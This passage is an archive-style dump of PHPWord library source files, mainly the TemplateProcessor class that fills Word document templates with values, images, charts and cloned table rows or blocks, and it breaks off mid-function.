vendor/phpoffice/phpword/src/PhpWord/Collection/Titles.php000066600000001514151150442730017720 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Collection;

use PhpOffice\PhpWord\Element\Title;

/**
 * Titles collection.
 *
 * @since 0.10.0
 * @extends AbstractCollection<Title>
 */
class Titles extends AbstractCollection
{
}
vendor/phpoffice/phpword/src/PhpWord/Collection/Comments.php000066600000001524151150442730020242 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Collection;

use PhpOffice\PhpWord\Element\Comment;

/**
 * Comments collection.
 *
 * @since 0.12.0
 * @extends AbstractCollection<Comment>
 */
class Comments extends AbstractCollection
{
}
vendor/phpoffice/phpword/src/PhpWord/TemplateProcessor.php000066600000151063151150442730020041 0ustar00<?php

/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord;

use DOMDocument;
use PhpOffice\PhpWord\Escaper\RegExp;
use PhpOffice\PhpWord\Escaper\Xml;
use PhpOffice\PhpWord\Exception\CopyFileException;
use PhpOffice\PhpWord\Exception\CreateTemporaryFileException;
use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\Shared\Text;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Shared\ZipArchive;
use Throwable;
use XSLTProcessor;

class TemplateProcessor
{
    const MAXIMUM_REPLACEMENTS_DEFAULT = -1;

    /**
     * ZipArchive object.
     *
     * @var mixed
     */
    protected $zipClass;

    /**
     * @var string Temporary document filename (with path)
     */
    protected $tempDocumentFilename;

    /**
     * Content of main document part (in XML format) of the temporary document.
     *
     * @var string
     */
    protected $tempDocumentMainPart;

    /**
     * Content of settings part (in XML format) of the temporary document.
     *
     * @var string
     */
    protected $tempDocumentSettingsPart;

    /**
     * Content of headers (in XML format) of the temporary document.
     *
     * @var string[]
     */
    protected $tempDocumentHeaders = [];

    /**
     * Content of footers (in XML format) of the temporary document.
     *
     * @var string[]
     */
    protected $tempDocumentFooters = [];

    /**
     * Document relations (in XML format) of the temporary document.
     *
     * @var string[]
     */
    protected $tempDocumentRelations = [];

    /**
     * Document content types (in XML format) of the temporary document.
     *
     * @var string
     */
    protected $tempDocumentContentTypes = '';

    /**
     * new inserted images list.
     *
     * @var string[]
     */
    protected $tempDocumentNewImages = [];

    protected static $macroOpeningChars = '${';

    protected static $macroClosingChars = '}';

    /**
     * @since 0.12.0 Throws CreateTemporaryFileException and CopyFileException instead of Exception
     *
     * @param string $documentTemplate The fully qualified template filename
     */
    public function __construct($documentTemplate)
    {
        // Temporary document filename initialization
        $this->tempDocumentFilename = tempnam(Settings::getTempDir(), 'PhpWord');
        if (false === $this->tempDocumentFilename) {
            throw new CreateTemporaryFileException(); // @codeCoverageIgnore
        }

        // Template file cloning
        if (false === copy($documentTemplate, $this->tempDocumentFilename)) {
            throw new CopyFileException($documentTemplate, $this->tempDocumentFilename); // @codeCoverageIgnore
        }

        // Temporary document content extraction
        $this->zipClass = new ZipArchive();
        $this->zipClass->open($this->tempDocumentFilename);
        $index = 1;
        while (false !== $this->zipClass->locateName($this->getHeaderName($index))) {
            $this->tempDocumentHeaders[$index] = $this->readPartWithRels($this->getHeaderName($index));
            ++$index;
        }
        $index = 1;
        while (false !== $this->zipClass->locateName($this->getFooterName($index))) {
            $this->tempDocumentFooters[$index] = $this->readPartWithRels($this->getFooterName($index));
            ++$index;
        }

        $this->tempDocumentMainPart = $this->readPartWithRels($this->getMainPartName());
        $this->tempDocumentSettingsPart = $this->readPartWithRels($this->getSettingsPartName());
        $this->tempDocumentContentTypes = $this->zipClass->getFromName($this->getDocumentContentTypesName());
    }

    public function __destruct()
    {
        // ZipClass
        if ($this->zipClass) {
            try {
                $this->zipClass->close();
            } catch (Throwable $e) {
                // Nothing to do here.
            }
        }
    }

    /**
     * Expose zip class.
     *
     * To replace an image: $templateProcessor->zip()->AddFromString("word/media/image1.jpg", file_get_contents($file));<br>
     * To read a file: $templateProcessor->zip()->getFromName("word/media/image1.jpg");
     *
     * @return \PhpOffice\PhpWord\Shared\ZipArchive
     */
    public function zip()
    {
        return $this->zipClass;
    }

    /**
     * @param string $fileName
     *
     * @return string
     */
    protected function readPartWithRels($fileName)
    {
        $relsFileName = $this->getRelationsName($fileName);
        $partRelations = $this->zipClass->getFromName($relsFileName);
        if ($partRelations !== false) {
            $this->tempDocumentRelations[$fileName] = $partRelations;
        }

        return $this->fixBrokenMacros($this->zipClass->getFromName($fileName));
    }

    /**
     * @param string $xml
     * @param XSLTProcessor $xsltProcessor
     *
     * @return string
     */
    protected function transformSingleXml($xml, $xsltProcessor)
    {
        if (\PHP_VERSION_ID < 80000) {
            $orignalLibEntityLoader = libxml_disable_entity_loader(true);
        }
        $domDocument = new DOMDocument();
        if (false === $domDocument->loadXML($xml)) {
            throw new Exception('Could not load the given XML document.');
        }

        $transformedXml = $xsltProcessor->transformToXml($domDocument);
        if (false === $transformedXml) {
            throw new Exception('Could not transform the given XML document.');
        }
        if (\PHP_VERSION_ID < 80000) {
            libxml_disable_entity_loader($orignalLibEntityLoader);
        }

        return $transformedXml;
    }

    /**
     * @param mixed $xml
     * @param XSLTProcessor $xsltProcessor
     *
     * @return mixed
     */
    protected function transformXml($xml, $xsltProcessor)
    {
        if (is_array($xml)) {
            foreach ($xml as &$item) {
                $item = $this->transformSingleXml($item, $xsltProcessor);
            }
            unset($item);
        } else {
            $xml = $this->transformSingleXml($xml, $xsltProcessor);
        }

        return $xml;
    }

    /**
     * Applies XSL style sheet to template's parts.
     *
     * Note: since the method doesn't make any guess on logic of the provided XSL style sheet,
     * make sure that output is correctly escaped. Otherwise you may get broken document.
     *
     * @param DOMDocument $xslDomDocument
     * @param array $xslOptions
     * @param string $xslOptionsUri
     */
    public function applyXslStyleSheet($xslDomDocument, $xslOptions = [], $xslOptionsUri = ''): void
    {
        $xsltProcessor = new XSLTProcessor();

        $xsltProcessor->importStylesheet($xslDomDocument);
        if (false === $xsltProcessor->setParameter($xslOptionsUri, $xslOptions)) {
            throw new Exception('Could not set values for the given XSL style sheet parameters.');
        }

        $this->tempDocumentHeaders = $this->transformXml($this->tempDocumentHeaders, $xsltProcessor);
        $this->tempDocumentMainPart = $this->transformXml($this->tempDocumentMainPart, $xsltProcessor);
        $this->tempDocumentFooters = $this->transformXml($this->tempDocumentFooters, $xsltProcessor);
    }

    /**
     * @param string $macro
     *
     * @return string
     */
    protected static function ensureMacroCompleted($macro)
    {
        if (substr($macro, 0, 2) !== self::$macroOpeningChars && substr($macro, -1) !== self::$macroClosingChars) {
            $macro = self::$macroOpeningChars . $macro . self::$macroClosingChars;
        }

        return $macro;
    }

    /**
     * @param ?string $subject
     *
     * @return string
     */
    protected static function ensureUtf8Encoded($subject)
    {
        return $subject ? Text::toUTF8($subject) : '';
    }

    /**
     * @param string $search
     */
    public function setComplexValue($search, Element\AbstractElement $complexType): void
    {
        $elementName = substr(get_class($complexType), strrpos(get_class($complexType), '\\') + 1);
        $objectClass = 'PhpOffice\\PhpWord\\Writer\\Word2007\\Element\\' . $elementName;

        $xmlWriter = new XMLWriter();
        /** @var \PhpOffice\PhpWord\Writer\Word2007\Element\AbstractElement $elementWriter */
        $elementWriter = new $objectClass($xmlWriter, $complexType, true);
        $elementWriter->write();

        $where = $this->findContainingXmlBlockForMacro($search, 'w:r');

        if ($where === false) {
            return;
        }

        $block = $this->getSlice($where['start'], $where['end']);
        $textParts = $this->splitTextIntoTexts($block);
        $this->replaceXmlBlock($search, $textParts, 'w:r');

        $search = static::ensureMacroCompleted($search);
        $this->replaceXmlBlock($search, $xmlWriter->getData(), 'w:r');
    }

    /**
     * @param string $search
     */
    public function setComplexBlock($search, Element\AbstractElement $complexType): void
    {
        $elementName = substr(get_class($complexType), strrpos(get_class($complexType), '\\') + 1);
        $objectClass = 'PhpOffice\\PhpWord\\Writer\\Word2007\\Element\\' . $elementName;

        $xmlWriter = new XMLWriter();
        /** @var \PhpOffice\PhpWord\Writer\Word2007\Element\AbstractElement $elementWriter */
        $elementWriter = new $objectClass($xmlWriter, $complexType, false);
        $elementWriter->write();

        $this->replaceXmlBlock($search, $xmlWriter->getData(), 'w:p');
    }

    /**
     * @param mixed $search
     * @param mixed $replace
     * @param int $limit
     */
    public function setValue($search, $replace, $limit = self::MAXIMUM_REPLACEMENTS_DEFAULT): void
    {
        if (is_array($search)) {
            foreach ($search as &$item) {
                $item = static::ensureMacroCompleted($item);
            }
            unset($item);
        } else {
            $search = static::ensureMacroCompleted($search);
        }

        if (is_array($replace)) {
            foreach ($replace as &$item) {
                $item = static::ensureUtf8Encoded($item);
            }
            unset($item);
        } else {
            $replace = static::ensureUtf8Encoded($replace);
        }

        if (Settings::isOutputEscapingEnabled()) {
            $xmlEscaper = new Xml();
            $replace = $xmlEscaper->escape($replace);
        }

        // convert carriage returns
        if (is_array($replace)) {
            foreach ($replace as &$item) {
                $item = $this->replaceCarriageReturns($item);
            }
        } else {
            $replace = $this->replaceCarriageReturns($replace);
        }

        $this->tempDocumentHeaders = $this->setValueForPart($search, $replace, $this->tempDocumentHeaders, $limit);
        $this->tempDocumentMainPart = $this->setValueForPart($search, $replace, $this->tempDocumentMainPart, $limit);
        $this->tempDocumentFooters = $this->setValueForPart($search, $replace, $this->tempDocumentFooters, $limit);
    }

    /**
     * Set values from a one-dimensional array of "variable => value"-pairs.
     */
    public function setValues(array $values): void
    {
        foreach ($values as $macro => $replace) {
            $this->setValue($macro, $replace);
        }
    }

    public function setCheckbox(string $search, bool $checked): void
    {
        $search = static::ensureMacroCompleted($search);
        $blockType = 'w:sdt';

        $where = $this->findContainingXmlBlockForMacro($search, $blockType);
        if (!is_array($where)) {
            return;
        }

        $block = $this->getSlice($where['start'], $where['end']);

        $val = $checked ? '1' : '0';
        $block = preg_replace('/(<w14:checked w14:val=)".*?"(\/>)/', '$1"' . $val . '"$2', $block);

        $text = $checked ? '☒' : '☐';
        $block = preg_replace('/(<w:t>).*?(<\/w:t>)/', '$1' . $text . '$2', $block);

        $this->replaceXmlBlock($search, $block, $blockType);
    }

    /**
     * @param string $search
     */
    public function setChart($search, Element\AbstractElement $chart): void
    {
        $elementName = substr(get_class($chart), strrpos(get_class($chart), '\\') + 1);
        $objectClass = 'PhpOffice\\PhpWord\\Writer\\Word2007\\Element\\' . $elementName;

        // Get the next relation id
        $rId = $this->getNextRelationsIndex($this->getMainPartName());
        $chart->setRelationId($rId);

        // Define the chart filename
        $filename = "charts/chart{$rId}.xml";

        // Get the part writer
        $writerPart = new \PhpOffice\PhpWord\Writer\Word2007\Part\Chart();
        $writerPart->setElement($chart);

        // ContentTypes.xml
        $this->zipClass->addFromString("word/{$filename}", $writerPart->write());

        // add chart to content type
        $xmlRelationsType = "<Override PartName=\"/word/{$filename}\" ContentType=\"application/vnd.openxmlformats-officedocument.drawingml.chart+xml\"/>";
        $this->tempDocumentContentTypes = str_replace('</Types>', $xmlRelationsType, $this->tempDocumentContentTypes) . '</Types>';

        // Add the chart to relations
        $xmlChartRelation = "<Relationship Id=\"rId{$rId}\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/chart\" Target=\"charts/chart{$rId}.xml\"/>";
        $this->tempDocumentRelations[$this->getMainPartName()] = str_replace('</Relationships>', $xmlChartRelation, $this->tempDocumentRelations[$this->getMainPartName()]) . '</Relationships>';

        // Write the chart
        $xmlWriter = new XMLWriter();
        $elementWriter = new $objectClass($xmlWriter, $chart, true);
        $elementWriter->write();

        // Place it in the template
        $this->replaceXmlBlock($search, '<w:p>' . $xmlWriter->getData() . '</w:p>', 'w:p');
    }

    private function getImageArgs($varNameWithArgs)
    {
        $varElements = explode(':', $varNameWithArgs);
        array_shift($varElements); // first element is name of variable => remove it

        $varInlineArgs = [];
        // size format documentation: https://msdn.microsoft.com/en-us/library/documentformat.openxml.vml.shape%28v=office.14%29.aspx?f=255&MSPPError=-2147217396
        foreach ($varElements as $argIdx => $varArg) {
            if (strpos($varArg, '=')) { // arg=value
                [$argName, $argValue] = explode('=', $varArg, 2);
                $argName = strtolower($argName);
                if ($argName == 'size') {
                    [$varInlineArgs['width'], $varInlineArgs['height']] = explode('x', $argValue, 2);
                } else {
                    $varInlineArgs[strtolower($argName)] = $argValue;
                }
            } elseif (preg_match('/^([0-9]*[a-z%]{0,2}|auto)x([0-9]*[a-z%]{0,2}|auto)$/i', $varArg)) { // 60x40
                [$varInlineArgs['width'], $varInlineArgs['height']] = explode('x', $varArg, 2);
            } else { // :60:40:f
                switch ($argIdx) {
                    case 0:
                        $varInlineArgs['width'] = $varArg;

                        break;
                    case 1:
                        $varInlineArgs['height'] = $varArg;

                        break;
                    case 2:
                        $varInlineArgs['ratio'] = $varArg;

                        break;
                }
            }
        }

        return $varInlineArgs;
    }

    private function chooseImageDimension($baseValue, $inlineValue, $defaultValue)
    {
        $value = $baseValue;
        if (null === $value && isset($inlineValue)) {
            $value = $inlineValue;
        }
        if (!preg_match('/^([0-9\.]*(cm|mm|in|pt|pc|px|%|em|ex|)|auto)$/i', $value ?? '')) {
            $value = null;
        }
        if (null === $value) {
            $value = $defaultValue;
        }
        if (is_numeric($value)) {
            $value .= 'px';
        }

        return $value;
    }

    private function fixImageWidthHeightRatio(&$width, &$height, $actualWidth, $actualHeight): void
    {
        $imageRatio = $actualWidth / $actualHeight;

        if (($width === '') && ($height === '')) { // defined size are empty
            $width = $actualWidth . 'px';
            $height = $actualHeight . 'px';
        } elseif ($width === '') { // defined width is empty
            $heightFloat = (float) $height;
            $widthFloat = $heightFloat * $imageRatio;
            $matches = [];
            preg_match('/\\d([a-z%]+)$/', $height, $matches);
            $width = $widthFloat . $matches[1];
        } elseif ($height === '') { // defined height is empty
            $widthFloat = (float) $width;
            $heightFloat = $widthFloat / $imageRatio;
            $matches = [];
            preg_match('/\\d([a-z%]+)$/', $width, $matches);
            $height = $heightFloat . $matches[1];
        } else { // we have defined size, but we need also check it aspect ratio
            $widthMatches = [];
            preg_match('/\\d([a-z%]+)$/', $width, $widthMatches);
            $heightMatches = [];
            preg_match('/\\d([a-z%]+)$/', $height, $heightMatches);
            // try to fix only if dimensions are same
            if ($widthMatches[1] == $heightMatches[1]) {
                $dimention = $widthMatches[1];
                $widthFloat = (float) $width;
                $heightFloat = (float) $height;
                $definedRatio = $widthFloat / $heightFloat;

                if ($imageRatio > $definedRatio) { // image wider than defined box
                    $height = ($widthFloat / $imageRatio) . $dimention;
                } elseif ($imageRatio < $definedRatio) { // image higher than defined box
                    $width = ($heightFloat * $imageRatio) . $dimention;
                }
            }
        }
    }

    private function prepareImageAttrs($replaceImage, $varInlineArgs)
    {
        // get image path and size
        $width = null;
        $height = null;
        $ratio = null;

        // a closure can be passed as replacement value which after resolving, can contain the replacement info for the image
        // use case: only when a image if found, the replacement tags can be generated
        if (is_callable($replaceImage)) {
            $replaceImage = $replaceImage();
        }

        if (is_array($replaceImage) && isset($replaceImage['path'])) {
            $imgPath = $replaceImage['path'];
            if (isset($replaceImage['width'])) {
                $width = $replaceImage['width'];
            }
            if (isset($replaceImage['height'])) {
                $height = $replaceImage['height'];
            }
            if (isset($replaceImage['ratio'])) {
                $ratio = $replaceImage['ratio'];
            }
        } else {
            $imgPath = $replaceImage;
        }

        $width = $this->chooseImageDimension($width, $varInlineArgs['width'] ?? null, 115);
        $height = $this->chooseImageDimension($height, $varInlineArgs['height'] ?? null, 70);

        $imageData = @getimagesize($imgPath);
        if (!is_array($imageData)) {
            throw new Exception(sprintf('Invalid image: %s', $imgPath));
        }
        [$actualWidth, $actualHeight, $imageType] = $imageData;

        // fix aspect ratio (by default)
        if (null === $ratio && isset($varInlineArgs['ratio'])) {
            $ratio = $varInlineArgs['ratio'];
        }
        if (null === $ratio || !in_array(strtolower($ratio), ['', '-', 'f', 'false'])) {
            $this->fixImageWidthHeightRatio($width, $height, $actualWidth, $actualHeight);
        }

        $imageAttrs = [
            'src' => $imgPath,
            'mime' => image_type_to_mime_type($imageType),
            'width' => $width,
            'height' => $height,
        ];

        return $imageAttrs;
    }

    private function addImageToRelations($partFileName, $rid, $imgPath, $imageMimeType): void
    {
        // define templates
        $typeTpl = '<Override PartName="/word/media/{IMG}" ContentType="image/{EXT}"/>';
        $relationTpl = '<Relationship Id="{RID}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/{IMG}"/>';
        $newRelationsTpl = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' . "\n" . '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"></Relationships>';
        $newRelationsTypeTpl = '<Override PartName="/{RELS}" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>';
        $extTransform = [
            'image/jpeg' => 'jpeg',
            'image/png' => 'png',
            'image/bmp' => 'bmp',
            'image/gif' => 'gif',
        ];

        // get image embed name
        if (isset($this->tempDocumentNewImages[$imgPath])) {
            $imgName = $this->tempDocumentNewImages[$imgPath];
        } else {
            // transform extension
            if (isset($extTransform[$imageMimeType])) {
                $imgExt = $extTransform[$imageMimeType];
            } else {
                throw new Exception("Unsupported image type $imageMimeType");
            }

            // add image to document
            $imgName = 'image_' . $rid . '_' . pathinfo($partFileName, PATHINFO_FILENAME) . '.' . $imgExt;
            $this->zipClass->pclzipAddFile($imgPath, 'word/media/' . $imgName);
            $this->tempDocumentNewImages[$imgPath] = $imgName;

            // setup type for image
            $xmlImageType = str_replace(['{IMG}', '{EXT}'], [$imgName, $imgExt], $typeTpl);
            $this->tempDocumentContentTypes = str_replace('</Types>', $xmlImageType, $this->tempDocumentContentTypes) . '</Types>';
        }

        $xmlImageRelation = str_replace(['{RID}', '{IMG}'], [$rid, $imgName], $relationTpl);

        if (!isset($this->tempDocumentRelations[$partFileName])) {
            // create new relations file
            $this->tempDocumentRelations[$partFileName] = $newRelationsTpl;
            // and add it to content types
            $xmlRelationsType = str_replace('{RELS}', $this->getRelationsName($partFileName), $newRelationsTypeTpl);
            $this->tempDocumentContentTypes = str_replace('</Types>', $xmlRelationsType, $this->tempDocumentContentTypes) . '</Types>';
        }

        // add image to relations
        $this->tempDocumentRelations[$partFileName] = str_replace('</Relationships>', $xmlImageRelation, $this->tempDocumentRelations[$partFileName]) . '</Relationships>';
    }

    /**
     * @param mixed $search
     * @param mixed $replace Path to image, or array("path" => xx, "width" => yy, "height" => zz)
     * @param int $limit
     */
    public function setImageValue($search, $replace, $limit = self::MAXIMUM_REPLACEMENTS_DEFAULT): void
    {
        // prepare $search_replace
        if (!is_array($search)) {
            $search = [$search];
        }

        $replacesList = [];
        if (!is_array($replace) || isset($replace['path'])) {
            $replacesList[] = $replace;
        } else {
            $replacesList = array_values($replace);
        }

        $searchReplace = [];
        foreach ($search as $searchIdx => $searchString) {
            $searchReplace[$searchString] = $replacesList[$searchIdx] ?? $replacesList[0];
        }

        // collect document parts
        $searchParts = [
            $this->getMainPartName() => &$this->tempDocumentMainPart,
        ];
        foreach (array_keys($this->tempDocumentHeaders) as $headerIndex) {
            $searchParts[$this->getHeaderName($headerIndex)] = &$this->tempDocumentHeaders[$headerIndex];
        }
        foreach (array_keys($this->tempDocumentFooters) as $footerIndex) {
            $searchParts[$this->getFooterName($footerIndex)] = &$this->tempDocumentFooters[$footerIndex];
        }

        // define templates
        // result can be verified via "Open XML SDK 2.5 Productivity Tool" (http://www.microsoft.com/en-us/download/details.aspx?id=30425)
        $imgTpl = '<w:pict><v:shape type="#_x0000_t75" style="width:{WIDTH};height:{HEIGHT}" stroked="f" filled="f"><v:imagedata r:id="{RID}" o:title=""/></v:shape></w:pict>';

        $i = 0;
        foreach ($searchParts as $partFileName => &$partContent) {
            $partVariables = $this->getVariablesForPart($partContent);

            foreach ($searchReplace as $searchString => $replaceImage) {
                $varsToReplace = array_filter($partVariables, function ($partVar) use ($searchString) {
                    return ($partVar == $searchString) || preg_match('/^' . preg_quote($searchString) . ':/', $partVar);
                });

                foreach ($varsToReplace as $varNameWithArgs) {
                    $varInlineArgs = $this->getImageArgs($varNameWithArgs);
                    $preparedImageAttrs = $this->prepareImageAttrs($replaceImage, $varInlineArgs);
                    $imgPath = $preparedImageAttrs['src'];

                    // get image index
                    $imgIndex = $this->getNextRelationsIndex($partFileName);
                    $rid = 'rId' . $imgIndex;

                    // replace preparations
                    $this->addImageToRelations($partFileName, $rid, $imgPath, $preparedImageAttrs['mime']);
                    $xmlImage = str_replace(['{RID}', '{WIDTH}', '{HEIGHT}'], [$rid, $preparedImageAttrs['width'], $preparedImageAttrs['height']], $imgTpl);

                    // replace variable
                    $varNameWithArgsFixed = static::ensureMacroCompleted($varNameWithArgs);
                    $matches = [];
                    if (preg_match('/(<[^<]+>)([^<]*)(' . preg_quote($varNameWithArgsFixed) . ')([^>]*)(<[^>]+>)/Uu', $partContent, $matches)) {
                        $wholeTag = $matches[0];
                        array_shift($matches);
                        [$openTag, $prefix, , $postfix, $closeTag] = $matches;
                        $replaceXml = $openTag . $prefix . $closeTag . $xmlImage . $openTag . $postfix . $closeTag;
                        // replace on each iteration, because in one tag we can have 2+ inline variables => before proceed next variable we need to change $partContent
                        $partContent = $this->setValueForPart($wholeTag, $replaceXml, $partContent, $limit);
                    }

                    if (++$i >= $limit) {
                        break;
                    }
                }
            }
        }
    }

    /**
     * Returns count of all variables in template.
     *
     * @return array
     */
    public function getVariableCount()
    {
        $variables = $this->getVariablesForPart($this->tempDocumentMainPart);

        foreach ($this->tempDocumentHeaders as $headerXML) {
            $variables = array_merge(
                $variables,
                $this->getVariablesForPart($headerXML)
            );
        }

        foreach ($this->tempDocumentFooters as $footerXML) {
            $variables = array_merge(
                $variables,
                $this->getVariablesForPart($footerXML)
            );
        }

        return array_count_values($variables);
    }

    /**
     * Returns array of all variables in template.
     *
     * @return string[]
     */
    public function getVariables()
    {
        return array_keys($this->getVariableCount());
    }

    /**
     * Clone a table row in a template document.
     *
     * @param string $search
     * @param int $numberOfClones
     */
    public function cloneRow($search, $numberOfClones): void
    {
        $search = static::ensureMacroCompleted($search);

        $tagPos = strpos($this->tempDocumentMainPart, $search);
        if (!$tagPos) {
            throw new Exception('Can not clone row, template variable not found or variable contains markup.');
        }

        $rowStart = $this->findRowStart($tagPos);
        $rowEnd = $this->findRowEnd($tagPos);
        $xmlRow = $this->getSlice($rowStart, $rowEnd);

        // Check if there's a cell spanning multiple rows.
        if (preg_match('#<w:vMerge w:val="restart"/>#', $xmlRow)) {
            // $extraRowStart = $rowEnd;
            $extraRowEnd = $rowEnd;
            while (true) {
                $extraRowStart = $this->findRowStart($extraRowEnd + 1);
                $extraRowEnd = $this->findRowEnd($extraRowEnd + 1);

                // If extraRowEnd is lower then 7, there was no next row found.
                if ($extraRowEnd < 7) {
                    break;
                }

                // If tmpXmlRow doesn't contain continue, this row is no longer part of the spanned row.
                $tmpXmlRow = $this->getSlice($extraRowStart, $extraRowEnd);
                if (!preg_match('#<w:vMerge/>#', $tmpXmlRow) &&
                    !preg_match('#<w:vMerge w:val="continue"\s*/>#', $tmpXmlRow)
                ) {
                    break;
                }
                // This row was a spanned row, update $rowEnd and search for the next row.
                $rowEnd = $extraRowEnd;
            }
            $xmlRow = $this->getSlice($rowStart, $rowEnd);
        }

        $result = $this->getSlice(0, $rowStart);
        $result .= implode('', $this->indexClonedVariables($numberOfClones, $xmlRow));
        $result .= $this->getSlice($rowEnd);

        $this->tempDocumentMainPart = $result;
    }

    /**
     * Delete a table row in a template document.
     */
    public function deleteRow(string $search): void
    {
        if (self::$macroOpeningChars !== substr($search, 0, 2) && self::$macroClosingChars !== substr($search, -1)) {
            $search = self::$macroOpeningChars . $search . self::$macroClosingChars;
        }

        $tagPos = strpos($this->tempDocumentMainPart, $search);
        if (!$tagPos) {
            throw new Exception(sprintf('Can not delete row %s, template variable not found or variable contains markup.', $search));
        }

        $tableStart = $this->findTableStart($tagPos);
        $tableEnd = $this->findTableEnd($tagPos);
        $xmlTable = $this->getSlice($tableStart, $tableEnd);

        if (substr_count($xmlTable, '<w:tr') === 1) {
            $this->tempDocumentMainPart = $this->getSlice(0, $tableStart) . $this->getSlice($tableEnd);

            return;
        }

        $rowStart = $this->findRowStart($tagPos);
        $rowEnd = $this->findRowEnd($tagPos);
        $xmlRow = $this->getSlice($rowStart, $rowEnd);

        $this->tempDocumentMainPart = $this->getSlice(0, $rowStart) . $this->getSlice($rowEnd);

        // Check if there's a cell spanning multiple rows.
        if (preg_match('#<w:vMerge w:val="restart"/>#', $xmlRow)) {
            $extraRowStart = $rowStart;
            while (true) {
                $extraRowStart = $this->findRowStart($extraRowStart + 1);
                $extraRowEnd = $this->findRowEnd($extraRowStart + 1);

                // If extraRowEnd is lower then 7, there was no next row found.
                if ($extraRowEnd < 7) {
                    break;
                }

                // If tmpXmlRow doesn't contain continue, this row is no longer part of the spanned row.
                $tmpXmlRow = $this->getSlice($extraRowStart, $extraRowEnd);
                if (!preg_match('#<w:vMerge/>#', $tmpXmlRow) &&
                    !preg_match('#<w:vMerge w:val="continue" />#', $tmpXmlRow)
                ) {
                    break;
                }

                $tableStart = $this->findTableStart($extraRowEnd + 1);
                $tableEnd = $this->findTableEnd($extraRowEnd + 1);
                $xmlTable = $this->getSlice($tableStart, $tableEnd);
                if (substr_count($xmlTable, '<w:tr') === 1) {
                    $this->tempDocumentMainPart = $this->getSlice(0, $tableStart) . $this->getSlice($tableEnd);

                    return;
                }

                $this->tempDocumentMainPart = $this->getSlice(0, $extraRowStart) . $this->getSlice($extraRowEnd);
            }
        }
    }

    /**
     * Clones a table row and populates it's values from a two-dimensional array in a template document.
     *
     * @param string $search
     * @param array $values
     */
    public function cloneRowAndSetValues($search, $values): void
    {
        $this->cloneRow($search, count($values));

        foreach ($values as $rowKey => $rowData) {
            $rowNumber = $rowKey + 1;
            foreach ($rowData as $macro => $replace) {
                $this->setValue($macro . '#' . $rowNumber, $replace);
            }
        }
    }

    /**
     * Clone a block.
     *
     * @param string $blockname
     * @param int $clones How many time the block should be cloned
     * @param bool $replace
     * @param bool $indexVariables If true, any variables inside the block will be indexed (postfixed with #1, #2, ...)
     * @param array $variableReplacements Array containing replacements for macros found inside the block to clone
     *
     * @return null|string
     */
    public function cloneBlock($blockname, $clones = 1, $replace = true, $indexVariables = false, $variableReplacements = null)
    {
        $xmlBlock = null;
        $matches = [];
        $escapedMacroOpeningChars = self::$macroOpeningChars;
        $escapedMacroClosingChars = self::$macroClosingChars;
        preg_match(
            //'/(.*((?s)<w:p\b(?:(?!<w:p\b).)*?\{{' . $blockname . '}<\/w:.*?p>))(.*)((?s)<w:p\b(?:(?!<w:p\b).)[^$]*?\{{\/' . $blockname . '}<\/w:.*?p>)/is',
            '/(.*((?s)<w:p\b(?:(?!<w:p\b).)*?\\' . $escapedMacroOpeningChars . $blockname . $escapedMacroClosingChars . '<\/w:.*?p>))(.*)((?s)<w:p\b(?:(?!<w:p\b).)[^$]*?\\' . $escapedMacroOpeningChars . '\/' . $blockname . $escapedMacroClosingChars . '<\/w:.*?p>)/is',
            //'/(.*((?s)<w:p\b(?:(?!<w:p\b).)*?\\'. $escapedMacroOpeningChars . $blockname . '}<\/w:.*?p>))(.*)((?s)<w:p\b(?:(?!<w:p\b).)[^$]*?\\'.$escapedMacroOpeningChars.'\/' . $blockname . '}<\/w:.*?p>)/is',
            $this->tempDocumentMainPart,
            $matches
        );

        if (isset($matches[3])) {
            $xmlBlock = $matches[3];
            if ($indexVariables) {
                $cloned = $this->indexClonedVariables($clones, $xmlBlock);
            } elseif ($variableReplacements !== null && is_array($variableReplacements)) {
                $cloned = $this->replaceClonedVariables($variableReplacements, $xmlBlock);
            } else {
                $cloned = [];
                for ($i = 1; $i <= $clones; ++$i) {
                    $cloned[] = $xmlBlock;
                }
            }

            if ($replace) {
                $this->tempDocumentMainPart = str_replace(
                    $matches[2] . $matches[3] . $matches[4],
                    implode('', $cloned),
                    $this->tempDocumentMainPart
                );
            }
        }

        return $xmlBlock;
    }

    /**
     * Replace a block.
     *
     * @param string $blockname
     * @param string $replacement
     */
    public function replaceBlock($blockname, $replacement): void
    {
        $matches = [];
        $escapedMacroOpeningChars = preg_quote(self::$macroOpeningChars);
        $escapedMacroClosingChars = preg_quote(self::$macroClosingChars);
        preg_match(
